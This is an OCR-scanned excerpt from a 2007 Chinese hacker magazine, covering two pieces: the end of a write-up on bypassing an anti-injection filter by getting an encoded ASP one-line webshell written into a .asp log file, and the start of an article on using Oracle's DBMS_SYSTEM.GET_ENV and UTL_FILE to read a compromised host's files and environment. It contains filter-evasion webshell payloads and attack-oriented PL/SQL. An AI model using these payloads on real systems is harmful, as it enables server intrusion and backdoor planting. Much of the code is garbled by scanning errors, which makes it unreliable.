《黑客×档案》2007年第12期摘录:在Oracle中利用UTL-FILE包读写文件
-
如发现有乱码,
请直接从这里浏览原文
正文摘录:图8这说叫只有在提交的数据里出则有“}”分隔的被过滤字符串,才会被防注入系统写入数据库中,而且是被’j人到data日录中的f,sq】.asP文件中。正因为其数据库文件的后缀为.asP,所以可以被我们利用!同样的道理,当我们提交<%executerequ00t(chr(97))%>时,“%。被过滤了,把一句话木马加密成<%25executerequest(~hr(97))%25>还是被过滤了,因为“%”还是存在。再把一句话木马改成<0criPtrull·t=0erverIsnguege----vbscript>evslrequest(chr(97))</soript>,这样整句中就没有出现“%”了,提交后成功的被写入了,如图8。然后我们使用一句话木马的客户端连接#Sq1.asp文件(记住要把“#”改为“%23”)就可以得到Webshell了。三.总结以上就是对这两个系统所出现的漏洞的简单分析和利用,当然这类系统也存在着其它方面的漏洞,诸如cookies注入、跨站等,而且网上使用这类防注入程序的系统还是比较多的。我认为在编写这类防注入程序时,不应该把恶意提交的数据写入到系统的文件中,这样才可以使防注入真正的达到其目的。(文章中涉及到的代码以及注八字符转换嚣已经收录在光盘中)豳在O『.acIe中利用UTLFILEMickey一,为什么要访问文件系统?当一台Oracle数据库服务器被入侵后.攻击者通常会浏览主机的文件,查找包含有敏感信息的文件,或者配合主机的wEB服务写入脚本类后门。对于读写主机的文件系统,Oracle提供了PL/SQL和JAVA两种方式来实现。本文我将演示利用uTL—FILE包来让Oracle用户读写文件系统。=,利用uTL—FILE包读文件读文件前先要知道文件具体的路径,可以利用猜测或针对wEB服务的脚本漏洞所暴露的路径缺陷来实现,也可以通过调用DBMssYsTEM包中的GETENV过程来递归系统的环境变量,但是这个过程并不返回系统环境变量中的PATH变量。实现的过程代码如下:r。cREATEoRREPLAcEPRocEDuREDuMP—ENvAsBuFFERVARCHA开烈260)‘BEGlNSYSOBMSSYSTEMGETENV(。ORACLE—HOME,BUFFERDBM$一OUTPUTPUT—LINE(’ORACLE_HOME;。¨BUFFER)SYSDBMS.SYSTEM.GETENV(’ORACLE—BID。,BUFFER)lDBMB—OUTPUTPUT—LINE(‘oRAcLE—SlOl’1IBUFFER)iSYSOBMS—SYSTEMGETENV(’COMPUTERNAME。.BUFFE只DBMsOUTPUTPUTLINE(’COMPUTERNAME:‘IjBUFFER)SYSDBMS—SYSTE¨GET—ENV(’OS。.BUFFE开)}DBMS—OUTPUTPUTLINE(。oS:。jl8uFFER);SYSDBMSSYSTEMGET—ENV(’TE¨P。.BUFFER)}0BMs0uTPUTpUT—LIN£(‘TEMP:’HBUFFER)·SYSDBMSSYSTEMGET—ENV(’WlNDI开’.BUFFER);DBMs—ouTPuTPUT—LlNE(’wINDlR:。『【BuFFER);SYS08MB—SYSTEMGETENv(’SYSTEMROOT‘,BuFFER);DBMS—OUTPUTPUTLINE(’sYsTE¨开oOT:’J{BuFFER)ISYSDBMSBYSTEMGET—ENvC‘P开oGRAMFILES’.BUFFER)DBMsOUTPUTPUT—LINE(。PROGRAMFILES:‘¨BUFFER):SYSOBMS—SYSTEMGET—ENV(’COMSPEC’.BUFFEROBMS—OUTPUT.PUT—LINE(‘COMSPEC:。¨BUFFER)SYSDBMSSYSTEMGET—ENVf’PROCESSo只一ARCHITECTURE’.BUFFERDBMs—OUTPUTPUT—LINE(’PR0cEss0R—ARCHITECTURE:’11BUFFER)图1F
阅读此文(图):
在线翻阅